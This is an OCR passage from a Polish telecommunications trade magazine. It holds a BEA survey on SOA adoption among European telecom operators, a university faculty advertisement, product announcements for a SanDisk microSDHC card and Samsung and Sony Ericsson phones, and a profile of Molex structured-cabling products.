od opracowywania i projektowania produktu po jego
marketing i sprzedaz. B

rédto: NOKIA
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Priorytety operatorow telekomunikacyjnych

Architektura SOA

Wyniki europejskiego sondazu pokazuja, ze wiekszos¢ operatoréow telekomunikacyjnych
postrzega architekture zorientowana na ustugi (SOA) jako wazny lub bardzo wazny priorytet
na najblizsze trzy do pieciu lat. Z badania przeprowadzonego na zlecenie firmy BEA wynika,
ze znakomita wiekszo$¢ operatorow uwaza architekture SOA za narzedzie efektywnego
wykorzystania technologii Web 2.0 w przedsiebiorstwie.

Najwazniejsze fakty

1. Badanie przeprowadzone w Europie na zlecenie fir-
my BEA dowodzi, ze wigkszoS¢ operatorow tele-
komunikacyjnych postrzega architekture zoriento-
wang na ustugi (SOA) jako wazny lub bardzo waz-
ny priorytet na najblizsze trzy do pieciu lat.

2. Znakomita wiekszo$¢ operatoréw uwaza archite-
kture SOA za narzedzie efektywnego wykorzy-
stania technologii Web 2.0 w przedsiebiorstwie.

3. Ponad potowa operatoréow telekomunikacyjnych
jest przekonana, ze innowacyjno$¢ — rozumiana
jako zdolnos¢ petnego wykorzystywania nowych
pomystow — jest najwazniejszym czynnikiem dla
zmian organizacyjnych.

Firma BEA Systems przedstawita wyniki badania
przeprowadzonego przez firme Vanson Bourne,
specjalizujgcg sie w badaniach rynku produktow
technologicznych. Ankieta wykazata, ze wiekszo$¢
operatorow telekomunikacyjnych (51 proc.) postrze-
ga architekture SOA jako jeden z najwazniejszych
priorytetébw na najblizsze trzy do pieciu lat. Dla po-
réwnania, podobng opinie wyrazita jedna trzecia an-
kietowanych ze wszystkich innych branz objetych
badaniem.

Ponadto ankieta przeprowadzona wsroéd operatoréw
telekomunikacyjnych w 12 krajach europejskich do-
wiodfa, ze znakomita wiekszo$¢ uwaza architekture
SOA za narzedzie efektywnego wykorzystania tech-
nologii Web 2.0 w przedsiebiorstwie: 72 proc. re-
spondentow stwierdzito, ze architektura SOA jest
podstawg dla opartych na standardzie Web 2.0 na-
rzedzi dla spotecznosci sieciowych, takich jak blogi,
serwisy Wiki, sieci spoteczne i aplikacje Mash-ups
(Mash-ups to serwis internetowy lub aplikacja we-
bowa, ktéra taczy tres¢ z wiecej niz jednego zrodta
oferujgc nowy, atrakcyjniejszy i bardziej funkcjonal-
ny sposob korzystania). Srednia, obejmujaca wszy-
stkie branze, wyniosta 55 proc.

Czas opracowywania i wprowadzania nowych, inno-
wacyjnych ustug ma w sektorze telekomunikacyj-
nym bardzo duze znaczenie. Jak wynika z badania,
ponad potowa wszystkich operatoréw (53 proc.) jest
przekonana, ze innowacyjnos¢ — rozumiana jako
zdolno$¢ petnego wykorzystywania nowych po-
mystéw — jest najwazniejszym czynnikiem dla zmian
organizacyjnych. Dla poréwnania, Ssrednia dla wszy-
stkich branz objetych ankietg wyniosta 34 proc.

— Operatorzy telekomunikacyjni w regionie Europy,
Bliskiego Wschodu i Afryki (EMEA) wprowadzajg ar-
chitekture SOA jako podstawe rozwigzar informaty-
cznych i sieciowych. Najwieksze znaczenie dla tej
tendencji ma fakt, ze operatorzy telekomunikacyjni
muszg szybko dostarcza¢ swoim abonentom nie tyl-
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ko nowatorskie pakiety ustug, ale rowniez ,mozliwo-
Sci telekomunikacyjne”, takie jak lokalizacja, prze-
sytanie wiadomosci, tadowanie i funkcje gtosowe,
jako ,punkty dostepu do ustug” dla dziatow wewne-
trznych, partnerow, klientow instytucjonalnych, a na-
wet abonentow domagajgcych sie odrebnych aplika-
cji Mash-ups — powiedziat Neil Sholay, dyrektor ds.
rynkéw telekomunikacyjnych w regionie EMEA w fir-
mie BEA Systems. — Wykorzystanie zalet architektu-
ry SOA pozwala efektywniej wykorzystywac zasoby
informatyczne i sieciowe dla celéw biznesowych.
UmoZliwia to operatorom telekomunikacyjnym pono-
wne wykorzystanie i wspotuzytkowanie zasobow,
szybsze dostarczanie nowych ustug oraz fatwiejsze
i tannsze wprowadzanie zmian.

Zdolnos¢ szybszego reagowania na zmiany u kon-
kurencji i dynamike rynku to najwazniejsza inicjaty-
wa w strategiach biznesowych operatorow tele-
komunikacyjnych (wymieniana przez 69 proc. orga-
nizacji jako wazny priorytet; dla poréwnania, Srednia
dla wszystkich branz objetych badaniem wyniosta
50 proc.). Na kolejnych miejscach znalazly sie ini-
cjatywy dotyczace obstugi klienta (wymieniane
przez 67 proc.) i mozliwo$¢ uzyskiwania informacji
w czasie rzeczywistym, co utatwitoby podejmowanie
decyzji (wymieniana przez 59 proc.).

Architektura SOA wspiera sektor telekomunikacyjny
w stawianiu czota najwiekszym wyzwaniom tech-
nologicznym. Ankieta wykazata, ze najwazniejszg
inicjatywg technologiczng jest wprowadzenie bar-
dziej elastycznej architektury (wymieniana przez 70
proc. ankietowanych jako wazny priorytet; dla po-
réwnania, $rednia dla wszystkich branz to 43 proc.).
Inne wazne inicjatywy w strategiach technologicz-
nych operatoréw telekomunikacyjnych, ktére sg rea-
lizowane za pomocg architektury SOA, to integracja
danych (63 proc.) oraz integracja ustug (55 proc.).

Zlecony przez firme BEA Europejski Sondaz Inno-
wacji Biznesowych (ang. European Business Inno-
vation Survey) zostat przeprowadzony w sierpniu
i wrzesniu 2007r . przez firme Vanson Bourne, spec-
jalizujgca sie w badaniach rynku produktow tech-
nologicznych. Obejmowat 51 przedsigbiorstw sekto-
ra telekomunikacyjnego z 12 krajow. W sondazu
wziety udziat firmy z Belgii, Holandii, Danii, Finlandii,
Francji, Niemiec, Wtoch, Norwegii, Polski, Hiszpanii,
Szwecji i Wielkiej Brytanii. Do badania zostaty
wybrani przedstawiciele branz finansowej, logistyki
i transportu, farmaceutycznej, handlu detalicznego,
telekomunikacyjnej oraz uzyteczno$ci publicznej
i energetyki. W

Wiecej informacji o architekturze
zorientowanej na ustugi (SOA)

w branzy telekomunikacyjnej mozna znalez¢
na stronie www.bea.com/telco.
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Wydzial
Telekomunikacji i Elektrotechniki

Uniwersytet Technologiczno-Przyrodniczy
dawniej Akademia Techniczno-Rolnicza

w Bydgoszczy

Doswiadczenie: od 47 lat Wydziat ksztalci studentow w dziedzinach telekomunikacja 1
elektrotechnika. Od 1998 wydziat posiada prawa doktoryzowania

Wysoka jako$¢ ksztalcenia potwierdzona 5-letnim certyfikatem Komisji Akredytacyjnej
Uczelni Technicznych (KAUT)

Wysokokwalifikowana kadra: 20 profesorow, 45 doktorow, 18 asystentow

Nowowczesne i Swietnie wyposazone laboratoria: swiattowodowe, systemow tacznosci
przewodowej 1 bezprzewodowej, zastosowan komputeréw w sieciach
telekomunikacyjnych 1 informatycznych 1 inne

Wydzial telekomunikacji i Elektrotechniki UTP (dawniej ATR) w Bydgoszczy
Oferuje ksztalcenie w zakresie kierunku elektronika i telekomunikacja obejmujqce:

e studia stacjonarne I 1 II stopnia w zakresie specjalnos$ci:
Systemy Telekomunikacyjne, Teleinformatyka
e studia niestacjonarne I stopnia (inzynierskie - 7 semestrow) w
zakresie specjalnosci:
Systemy Telekomunikacyjne, Teleinformatyka, Inzynieria Poczty
e niestacjonarne - uzupetniajace studia magisterskie (4 semestry)
e studia podyplomowe (2 semestry)
e kursy w systemie ksztalcenia ustawicznego

Tematyka naukowo-badawcza Instytutu Telekomunikacji WTiE UTP (dawniej ATR)

systemy komutacyjne i sieci

przetwarzanie sygnatow i obrazow oraz multimedia
systemy tacznos$ci bezprzewodowe;]

zastosowanie optoelektroniki w telekomunikacji

projektowanie uktadéw elektronicznych, w tym scalonych
w technologii CMOS

e mikroprocesorowe systemy sterowania

Szczegolowe informacje o:

Studiach
mozna znalez¢ w Internecie na stronach
lub lub uzyskac telefonicznie: 052 340 83 38

Kursach szkoleniowych

mozna znalez¢ w Internecie na stronach lub
lub uzyskac telefonicznie: 052 340 83 31

Wspotpracy w zakresie badan

mozna znalez¢ w Internecie na stronie
lub uzyskac¢ telefonicznie: 052 340 83 68
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SanDisk zwieksza pojemnos$¢ o 50 procent

12-gigabajtowa
karta microSDHC

Wzrost popytu na karty o wiekszej pojemnosci, w miare jak coraz wiecej klientéw uzywa
telefonéw komoérkowych do odtwarzania muzyki, zdje¢ i wideo.

SanDisk Corporation poinformowat, ze zaczat wy-
syta¢ probki 12-gigabajtowych (GB) kart pamieci mi-
croSDHC™ najwiekszym producentom telefonow ko-
mérkowych do testéw i oceny. Karta 12 GB repre-
zentuje 50-procentowy wzrost pojemnosci w porow-
naniu z czotowymi kartami SanDisk microSDHC
8 GB, odzwierciedlajgc rosngcg popularnosc¢ telefo-
néw komoérkowych z pamieciochtonnymi funkcjami,
takimi jak odtwarzanie muzyki, fotografowanie, na-
grywanie i odtwarzanie wideo oraz nawigacja GPS.

— Telefony komdrkowe staty sie wazng czeScig zy-
cia konsumentow na catym S$wiecie — powiedziat
Jeff Kost, wiceprezes i dyrektor generalny dziatu
rozwigzan mobilnych w firmie SanDisk. — Wiele
0s0b nie dostrzega jednak istotnej roli, jakg odgry-
wajq karty pamieci w wyzwalaniu petnego poten-
cjatu tych zaawansowanych telefonow. W istocie
niektorzy nie wiedzg nawet, Ze ich telefon ma gniaz-
do na karte pamieci i wtasnie dlatego SanDisk nie-
dawno rozpoczat kampanie Wake Up Your Phone™
(Obudz swdj telefon).

Program ,edukacji gniazdowej” ma uswiadomi¢
klientom obecno$¢ gniazda na karty pamieci
w wiekszoéci dostepnych na rynku telefonéw ko-
morkowych, a takze korzysci ptynace z jego uzycia.
Wiecej informacji mozna znalez¢é pod adresem
www.wakeupyourphone.com.

12-gigabajtowa karta microSDHC nadaje sie ideal-
nie do przechowywania duzej ilosci muzyki, zdje¢
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i wideo. Moze na przyktad pomiesci¢ 1500 piose-
nek, 3600 zdje¢ oraz 24,5 godziny wideo.

SDHC to oznaczenie kart formatu SD™ lub oparte-
go na SD, ktoére majg pojemnos¢ wiekszg niz 2 GB
i sq zgodne z nowg specyfikacjg SD 2.0 umozli-
wiajgca obstuge pojemnosci od 4 do 32 GB. Specy-
fikacja zostata opracowana przez SD Association,
branzowg organizacje normalizacyjng, ktéra zdefi-
niowata rowniez trzy klasy okreslajagce minimal-
ng statg szybkos¢ transferu danych. Nowe karty
spetniajg wymagania SD Speed Class 4.

Oprécz kart microSDHC SanDisk oferuje producen-
tom telefonéw i operatorom sieci komérkowych sze-
roka game osadzonych i wymiennych rozwigzan pa-
mieciowych. Sg to m.in. osadzone stacje flash
iNAND™ i mDOC™, wymienne karty pamieci micro-
SD™ i miniSD"™ oraz karty SIM i MegaSIM®.

SanDisk Corporation, wynalazca i najwiekszy glo-
balny dostawca kart pamieci flash, jest $wiatowym
liderem w dziedzinie pamieci flash — od badan, pro-
jektowania i wytwarzania produktéw do budowania
Swiadomosci marki i dystrybucji detalicznej. Portfel
produktow SanDisk obejmuje karty pamieci flash do
telefonédw komorkowych, aparatéw cyfrowych i ka-
mer, cyfrowe odtwarzacze audio i wideo, stacje USB
flash dla firm i klientow indywidualnych, pamie¢ osa-
dzong do urzgdzen mobilnych oraz stacje potprze-
wodnikowe do komputeréw. SanDisk (www.san-
disk.com/corporate) znajduje sie na liscie S&P 500,
ma siedzibe w Dolinie Krzemowej, a ponad potowa
obrotéw firmy przypada na kraje poza Stanami Zjed-
noczonymi. l

Witryna firmy SanDisk znajduje sie pod adresem
http://www.sandisk.com
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Ptaskie ,pie¢ meqga”

z serii G, nastawiony n.

SAMSUNG G600

Samsung wprowadza na rynek model G600 — pierwszy telefon

a funkcje fotograficzne, ktory posiada

pieciomegapikselowy aparat z czterokrotnym zoomem, fleszem

i autofocusem.
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Nowy Samsung G600 to stylowy slider, ktéry pomi-
mo pieciomegapikselowego aparatu przykuwa oko
niewielkimi rozmiarami. Ptaski (zaledwie 14,9 mm),
o klasycznym, prostym designie stanowi potgczenie
technologii z biznesowg elegancja.

W modelu tym nacisk potozono przede wszystkim na
funkcje fotograficzne: pieciomegapikselowy aparat
fotograficzny z czterokrotnym zoomem cyfrowym, fla-
shem i autofocusem pozwala na wykonanie dosko-
natej jakosci zdje¢. Dodatkowym urozmaiceniem jest
mozliwo$¢ wybierania tryboéw charakterystycznych
dla cyfrowych aparatéw: trybu macro, panoramiczne-
go czy nocnego. Duzy wyswietlacz 2.2” QVGA TFT
LCD o 16 milionach koloréw sprawia, ze przeglada-
nie zdje¢ czy filméw video staje sie przyjemnoscia.
G600 pozwala rowniez na edycje zdjecia — mozna
przechowywa¢ czy retuszowac zdjecia, a nastepnie
wysytac je przez e-mail czy MMS. Rezultaty mozna
obejrze¢ na ekranie telewizorza dzieki wyjsciu TV,
w ktére wyposazony jest telefon.

G600 to rowniez mozliwos¢ nagrywania dobrej jako-
&ci filméw video (w rozdzielczosci VGA 640x480).
Kamera umieszczona w telefonie umozliwia na-
granie maksymalnie godzinnego filmu w formatach
H.263/MPEG4.

-
SAM

| snmsung
| mobile

T 7 abe | 3def
4gm ' 5

SAMSUNG
mobile

Uzytkownikom, ktérzy pragng wyrdznia¢ sie indy-
widualnym stylem i nie lubig nudy, nowy Samsung
daje po raz pierwszy mozliwo$¢ zmiany kolorystyki
menu w zaleznoséci od upodoban i preferencji. Moz-
na skorzysta¢ z motywoéw dostepnych w telefonie
lub stworzyé swoj wiasny. Dzieki temu menu G600
staje sie niepowtarzalne i oryginalne!

Dodatkowa zaletq jest czujnik $wiatta, ktéry automa-
tycznie dostosowuje optymalny poziom jasnosci wy-
Swietlacza w zaleznosci od warunkéw o$wietlenia.
Zapewnia to nie tylko wygode uzytkownikowi, ale
przede wszystkim dodatkowg oszczednos$c¢ baterii.

G600 moze stuzy¢ rowniez jako narzedzie do pracy
dzieki obstudze plikéw biurowych, takich jak MS
Word, Excel, Power Point czy PDF — mozna
przesta¢ wybrane dokumenty do telefonu za po-
mocg tacznosci Bluetooth lub kabla USB i bez
problemu przeglada¢ czy zmienia¢ je w domu.

Telefon dziata w technologii EDGE, petna prze-
gladarka www (Net Front 3.4) pozwala na swobod-
ne przegladanie stron internetowych. Telefon wypo-
sazony jest w odtwarzacz MP3, radio FM, z ktérego
audycje mozna nagrac na telefon w postaci plikow
mp3, i klient e-mail. 54 MB pamieci mozna rozsze-
rzy¢ dzieki dotgczonej w zestawie karcie microSD.
Dzieki temu nie powinno zabrakng¢ miejsca na ulu-
bione utwory czy zdjecia.

Telefon dostepny jest w sprzedazy w dwéch wer-
sjach kolorystycznych: czarnej i grafitowej. Bl

rédto: Samsung
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Stylowe telefony z nowej oferty Sony Ericsson

Nowy telefon

Sony Ericsson Z555

Sony Ericsson przedstawit nowy telefon Z555 — elegancki telefon z klapka, ktory faczy w sobie
bogaty zestaw funkcji z nadzwyczajnie pieknym wzornictwem. Jest to idealne dopasowanie
najnowszego zestawu funkcji z innowacyjnym, diamentowym wzornictwem. Telefon ten ma
wszystkie potrzebne cechy, aby sta¢ sie ikong dobrego stylu.

Wraz z modelem Z555 Sony Ericsson przedstawit
serie nowych, stylowych akcesoriéw, w tym ko-
lekcje (Design Collection) czterech skérzanych
torebek, z ktorych wszystkie oferujg unikato-
we itwércze rozwigzania do noszenia telefonu.
Przedstawit takze trzy rodzaje nowych, eleganc-
kich stuchawek bezprzewodowych Bluetooth™:
HBH-PV708, HBH-PV770 oraz HBH-PV712.

— Model 2555 zaprojektowany jest z mysilg o tym,
aby odzwierciedla¢ Twojg urode i przyciggac uwage
— powiedziat Sven Totte, Head of Style Marketing
w Sony Ericsson. — Stworzyli$my ten telefon dla lu-
dzi, ktérzy szukajg pieknie zaprojektowanego apa-
ratu, odzwierciedlajgcego ich osobisty styl, a zara-
zem bedgcego wydajnym i wyposazonym w najno-
wsze funkcje.

Sony Ericsson Z555 — ikona dobrego stylu

® Kontrola gestem — zarzadzaj rozmowami za po-
mocg ruchu dfoni.
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® Ukryty wyswietlacz — jednolite wykonczenie tele-
fonu.

® Zmieniajgce sie tematy zgodnie z porg roku.

® Eleganckie designerskie akcesoria dla uzupetnie-
nia Twojego wizerunku.

Zaakcentuj swoj styl

Kiedy pracujesz albo kiedy sie bawisz, masz wlasny
styl, ktory jest tylko Twoj — styl i wyglad, ktére tele-
fon Z555 podkresla doskonale. Za sprawg unika-
towego wykonczenia w postaci diamentowych od-
blaskéw na frontowej czesci oraz wyrafinowanych
detali telefon ten prawdziwie odzwierciedla Twojg
osobowos¢. Wybierz kolor Diamond Black albo Du-
sted Rose, a wkrotce zostaniesz zauwazony.

Po prostu machnij reka,
aby przerwa¢ potaczenie

Model Z555 posiada przydatng funkcje — kontrole
gestem — opracowang przez Sony Ericsson, pozwa-
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lajacg Ci fatwo wyciszy¢ telefon lub wprowadzi¢ bu-
dzik telefoniczny w tryb drzemki, nie przerywajac
tego czym sie zajmujesz w danej chwili. Kiedy przy-
chodzi rozmowa telefoniczna, zwykly ruch reka w te
i z powrotem nad telefonem wycisza dzwonek. Po-
dobnie przesun rekg nad telefonem, kiedy uzywasz
go jako budzika, a przejdzie on w tryb drzemki. To
jest jak magia!

Zasiegnij informacji — dyskretnie

Telefon Z555 posiada zewnetrzny wyswietlacz, ktory
pokaze Ci, kto dzwoni, nawet bez otwierania klapki
telefonu. Kiedy aparat jest w stanie spoczynku, zew-
netrzny wyswietlacz pozostaje dyskretnie niewidzial-
ny... z troski o wzornictwo.

Najnowszy wyglad telefonu

Podobnie jak Ty, telefon Z555 zmienia swoj wyglad,
aby dostosowac sie do pory roku. Kolory istylistyka,
ktore pojawiajg sie w tematach telefonu, podobnie
jak wyglad systemu menu igtdbwnego ekranu, mogg
aktualizowac sie automatycznie, w miare mijania ko-
lejnych dni w roku. Potgczony z kalendarzem telefo-
nu model Z555 wie, kiedy letni wyglad musi ustgpi¢
jesiennemu. Trzyma on w zanadrzu nawet co$ spe-
cjalnego na wielkie wydarzenia, takie jak wigilia No-
wego Roku!

Dajcie upust namietnosciom na biezaco

Model 2555 pozwoli Ci skorzysta¢ z wolnej chwili
w takséwce, aby nadrobi¢ zalegtosci zwigzane
z ulubionym zespotem lub nawet ksigzkg. Przecho-
wuj w telefonie swoje ulubione $ciezki muzyczne lub
ksigzki audio i sortuj je wedtug rozdziatéw, ptyt lub
artystow. Dostroj sie do radia FM, aby wystucha¢
prognozy pogody, informacji drogowych lub najnow-
szych plotek o gwiazdach.

Uchwy¢ wydarzenia, kiedy maja miejsce

Aparat fotograficzny o rozdzielczosci 1,3 MP, w jaki
wyposazony jest telefon Z555 zapewnia to, ze za-

wsze jeste$ w stanie uchwyci¢ akcje, kiedy sie ona
rozgrywa. Zréb zdjecie potencjalnego nowego zaku-
pu i wyslij je jako wiadomosé-obraz do przyjaciela
albo wczytaj je bezposrednio do bloga, tak aby
wszyscy mogli dowiedziec sig, jakie masz plany.

Akcesoria do uzupetnienia
Twojego wizerunku

Kazdy stylista powie Ci, ze wizerunek nie jest petny
bez wtasciwych dodatkéw. Linia Design Collection
oferuje cztery rézne stylowe torebki ze skory, ktére
dopetniajg Twojego stylu, a rébwnoczesnie chronig
Twoj telefon.

L-fo B ke e |

¥

Kolekcja oferuje tworcze i stylowe rozwigzania do
noszenia telefonu, ktére pasowac bedg do telefonu
oraz Twojego stylu.

Telefon jest takze kompatybilny z trzema eleganc-
kimi nowymi stuchawkami bezprzewodowymi Blue-
tooth™:

® Stuchawki bezprzewodowe Bluetooth™
HBH-PV708 oferujg najlepsze potgczenie stylu
i wygody — aby$ mogt by¢ w kontakcie z bliskimi,
kiedy wyprowadzasz psa albo kupujesz kawe.

OO

® Stuchawki bezprzewodowe Bluetooth™
HBH-PV770 oferujg alternatywny sposéb nosze-
nia stuchawek w uszach, tak ze mozesz ich
wcigz uzywac majac na sobie okulary stoneczne.

® Stuchawki bezprzewodowe Bluetooth™
HBH-PV712 redukujg dzwigki w tle i maksymali-
zujg wygode, pozwalajgc Ci skoncentrowac sig
na osobie, z ktoérg rozmawiasz. Podnoszg takze
Twoje notowania w kwestii stylu dzieki dwém wy-
miennym obudowom Style-up™, w ktoére sg wy-
posazone. B

Zrodfo: Sony Ericsson
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Michat Muszalski

PREMISE
NETWORKS

A Division of Molex

molex

—/

okablowania strukturalnego

Firma Molex jest drugim co do wielkos$ci producentem zfgczy na swiecie.

Molex to przedsiebiorstwo o kapitale 2,2 miliarda dolaréw, ktére posiada 68 biur handlowych,
26 centrow badawczo-rozwojowych i 55 zaktadéw produkcyjnych na szesciu kontynentach.
Ponad 95 proc. zaktadow produkcyjnych posiada certyfikat jakosci ISO, a ponad 75 proc.

certyfikat QS 9000.

Charakterystyka firmy

Molex Premise Networks jest dziatem Molex’a projek-
tujgcym i produkujgcym wszelkiego rodzaju komponenty
do budowy systemédw okablowania strukturalnego. Hi-
storia rozwoju tych rozwigzan liczy sobie juz ponad 20
lat. Idgc wraz z rozwojem aplikacji sieciowych, firma Mo-
lex Premise Networks dostarcza infrastrukture siecio-
wych urzadzen pasywnych stuzacych do bezproble-
mowego przesytania danych. Obecnie Molex Premise
Networks jest Swiatowym liderem w branzy okablowania
strukturalnego inwestujgcym kazdego roku miliony dola-
row w tworzenie nowych produktéw zorientowanych na
klienta.

Na przestrzeni ostatnich szesciu lat wydatki na rozwoj
programow ulepszajacych najnowoczes$niejszy osprzet
i nowe produkty siegnety kwoty 1,8 miliarda dolarow.
Po ponad 60-letnim okresie istnienia ten rodzaj inwes-
tycji zaowocowat tysigcem nowych produktéw znaj-
dujacych swoje zastosowania w wielu gateziach prze-
mystu.

Aktualnie w ofercie firmy Molex Premise Net- works
znajduje sie petna gama produktéw stuzacych do budo-
wy kompletnego systemu okablowania strukturalnego,
poczawszy od gniazd abonenckich, konczac na sza-
fach dystrybucyjnych. Oferta obejmuje zaréwno pro-
dukty oparte na rozwigzaniach $wiattowodowych, jak
i rozwigzaniach opartych na 4-parowych kablach syme-
trycznych.

Oferta handlowa

Canobeam®

To nazwa handlowa systemu komunikacji z wykorzy-
staniem wigzki laserowej w otwartej przestrzeni (Free
Space Optics). Rozwigzanie to pozwala na niezwykle
szybkie ustanowienie potgczenia sieciowego pomiedzy
dwoma punktami o przepustowosci od 156 Mb/s do
1,25 Gb/s. Podstawowymi zaletami systemu sa:
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® niezwykle szybkie ustanowienie potgczenia siecio-
wego o duzej przepustowosci;

® poprawna praca na dystansie do 2 km;

® mozliwos¢ instalacji i uzytkowania systemu bez ko-
niecznosci wystepowania o pozwolenie czy przy-
dziat czestotliwosci.

System sktada sie z elementu nadawczo-odbiorczego,
montowanego na zewnatrz (dach budynku, sciana zew-
netrzna, itp.) lub wewnatrz pomieszczenia (transmisja
wigzki laserowej przez okno.

Real Time

Real Time Patching System to opracowany przez firme
Molex Premise Networks inteligentny system zarzadza-
nia okablowaniem strukturalnym. Molex Premise Ne-
tworks jest wiodgcym producentem systemow okablo-
wania strukturalnego (Structured Cabling System). Inte-
ligentne zarzadzanie okablowaniem umozliwia mene-
dzerom ds. systemoéw informatycznych (IT) sterowanie i
mo-nitorowanie fizycznej warstwy sieci i wspotpra-
cujgcych urzgdzen informatycznych.

Dzieki systemowi Real Time Patching firmy Molex Pre-
mise Networks — w sktad ktérego wchodzg inteligentne
panele krosowe, przewody i kable krosowe oraz
urzadzenia i oprogramowanie do zarzadzania fizyczng
warstwg sieci — menedzerowie IT majg dostep w cza-
sie rzeczywistym do informacji o stanie okablowania
i mogg monitorowac, przemieszcza¢, dodawac i wpro-
wadza¢ zmiany oraz fatwo i wygodnie (automatycznie)
prowadzi¢ dokumentacje sieci. Konfiguracja systemu
jest prosta, a wbudowany uczacy sie port identyfikacyj-
ny skraca czas przygotowania systemu do pracy. Ska-
lowalno$¢ systemu jest nieograniczona — mozna nim
zarzadzac na miejscu, zdalnie lub przez internet.

Najwazniejszg cechg tego systemu jest umiejetnosé
jednoczesnej wspotpracy ze starszymi systemami oka-
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blowania i zupetnie nowymi instalacjami, dzieki czemu
uzytkujgca go firma moze w catosci przejs¢ do inteli-
gentnego zarzgdzania pofgczeniami niezaleznie od
wieku i stopnia zuzycia posiadanej infrastruktury.

Dzieki dostgpnosci paskéw czujnikow dotykowych (pa-
skéw sensorycznych) przeznaczonych do sieciowych
urzgdzen aktywnych mozna monitorowa¢ réwniez
potaczenia miedzy panelem a sprzetem aktywnym,
a nie tylko pomiedzy panelami krosowymi. Mozna wiec
zrezygnowac ze stosowanej powszechnie do niedawna
krzyzowej metody Sledzenia potgczen, zyskujac znacz-
ne oszczednosci zaréwno pod wzgledem kosztu pro-
duktéw niezbednych do wdrozenia tego rozwigzania,
jak i cennej przestrzeni dostepnej w centrali.

Dodatkowe oprogramowanie wspomagajgce zarzadza-
nie zwieksza pojemnos$¢ systemu dzieki dostepnym
modutom wspierajgcym funkcje Zarzgdzania Zasobami
Sieci (Network Asset Management), diagnostycznym
i mapowania do poziomu adresowego MAC oraz roz-
wigzaniu, ktére umozliwia wykorzystanie pakietow Au-
toCAD i Vi-sio do planowania i opracowywania doku-
mentacji.

Data Gate Plus

DATA GATE PLUS

Najwazniejszym elementem toru transmisyjnego zbu-
dowanego w oparciu o tradycyjne kable symetryczne
4-parowe sg zltgcza. Zigcza sa elementami, na ktérych
osoba instalujgca system okablowania strukturalnego
terminuje kable symetryczne. Jako$¢ tego potaczenia
zalezy od jakosci samego ztacza, jakosci uzytych na-
rzedzi terminujacych oraz od umiejetnosci i wiedzy in-
stalatora. Molex Premise Networks opracowat wtasng
game modutéw o unikatowej technologii i perfekcyjnych
parametrach transmisyjnych.

Moduty Data Gate Plus sg wyposazone w wysokiej jako-
Sci ztacze szczelinowe KATT IDC, ktore zarabiane jest
przy uzyciu powszechnie dostepnych narzedzi uderze-
niowych KATT/110. Uzycie tego rodzaju modutéw oraz
narzedzi gwarantuje fatwo$¢ montazu oraz — co najwaz-
niejsze dla instalatora i uzytkownika koncowego — bar-
dzo dobrg powtarzalno$¢ pomiaréw. Modut Data Gate
Plus posiada dodatkowo od strony gniazda RJ-45 wbu-
dowang przesuwng przestone przeciwkurzo- wg chro-
nigcy styki przed zabrudzeniami. Przestona ma za zada-
nie rowniez prostowanie pinbw po kazdym wioze-
niu/wytozeniu wtyczek RJ-45. Dodatkowo do modutow
mozna zastosowac zaslepke blokujaca, ktéra uniemozli-
wia wiozenie wtyku RJ-45 do gniazda dedykowanego do
transmisji sygnatéow telefonicznych opartych na kablach
z wtyczkami RJ-11 oraz RJ-12. Moduty Data Gate Plus
dostepne sg w wersji ekranowanej oraz nieekranowane;j
zaréwno w kategorii 5e, jak i kategorii 6. Moduty te zo-
staty przebadane przez niezalezne laboratorium ETL (/n-
tertek Testing Services, ETL SEMKO) i posiadajg certyfi-
katy zgodnosci z normami branzowymi. Moduty sg sto-
sowane w gniazdach typu Euromod, ModMosaic, Contu-

ra, ABB Tango, DIN 49075 oraz panelach krosowych
systemdédw PowerCat 6.

Panele swiattowodowe FMP3

Panel FMP3 z wysunieta pétka montazowa

Podstawowg zaletg tych paneli jest ich modutowa kon-
strukcja. Wszystkie panele opierajg sie na jednym uni-
wersalnym korpusie, do ktérego montowane sg plyty
czotowe. Plyty czolowe moga by¢ dowolnie konfiguro-
wane przez uzytkownika. Ptyty czotowe sg dostepne
w wersjach z adapterami ST, SC, LC, MT-RJ lub bez
adapterow. Przyktadowe konfiguracje to: 12xST, 6xSC
duplex, 24xLC duplex, 24x MT-RJ, 24xST, 12xSC du-
plex, 18xST, 9xSC lub 4x szesciodrozna ptytka na do-
wolne adaptery. Do paneli mozna dokupi¢ dedykowane
kasety Swiattowodowe, zestaw piercieni organizacyj-
nych oraz przepusty kablowe.

Konstrukcja paneli pozwala na wysuniecie potki monta-
zowej oraz na jej pochylenie pod katem 45 stopni. Za-
pewnia to swobodny dostep do zainstalowanych w pa-
nelu kaset $wiattowodowych, pigtaili oraz adapteréw.

Ztacze MT-RJ Xpress-Lock

4

Widok ztagcza MT-RJ Xpress-Lock
wraz z kluczykiem, osfong oraz bootem

Ztacze MT-RJ dzigki swej przetomowej konstrukcji staje
sie coraz bardziej popularnym rodzajem interfejsu sto-
sowanego przez producentdow urzadzen aktywnych
oraz producentéow okablowania strukturalnego. Firma
Molex Premise Networks opracowata wtasng technolo-
gie terminowania witokien Swiattowodowych ztgczami
MT-RJ. Technologia ta jest niezwykle prosta i polega
na odpowiednim oczyszczeniu widkna, jego przycieciu,
wprowadzeniu do ferruli i zamknigciu komory za po-
mocg specjalnego kluczyka dostarczanego w komple-
cie wraz ze zlgczami. Zigcze w ten sposéb moze byc¢
terminowane na kablu do 10 razy. Dostepne sg dwie
wersje ztgcza: meska (ferrula z pinami) i zenska (bez
pinéw). Mozna je stosowa¢ do wiokien o $rednicy
50/125 mm oraz 62,5/125 mm. Maksymalne tlumie-
nie to 0,5 dB, ttumienie typowe waha sie na poziomie
0,3 dB. Dodatkowo oferta Molex Premise Networks za-
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wiera szeroka game adapterow MT-RJ przeznaczo-
nych do montazu w panelach i gniazdach nasciennych.
Podsumowujgc, niewatpliwymi  zaletami technologii
MT-RJ sa:

® konstrukcja duplex (dwa witdkna w jednym ztgczu);
® mate wymiary zewnetrzne;

® ksztalt i zasada faczenia zblizone do spopulary-
zowanego wtyku RJ-45;

@ prosty i tani sposob instalacji;

® mozliwos¢ kilkakrotnego zarabiania ztagcza na wiok-
nie;

® zdeterminowana polaryzacja wtokien.

Laserstream

Widok ziagcza MT-RJ Xpress-Lock
wraz z kluczykiem, osfong oraz bootem

Molex Premise Networks ma przyjemnos¢ zaprezento-
wac nowy system okablowania swiattowodowego, La-
serstream, instalowany metodg wdmuchiwania. Pod-
stawowg zaletg systemu jest jego wysoka elastycz-
no$¢, polegajgca na mozliwosci tatwego wprowadzania
zmian w miare rozwoju wymagan stawianych okablo-
waniu.

Laserstream jest rozwigzaniem dedykowanym w insta-
lacjach, gdzie wymagania projektowe nie sg precyzyj-
nie okreslone. System ten eliminuje koniecznos¢ do-
ktadnego okres$lenia liczby i rodzaju widkien Swiatto-
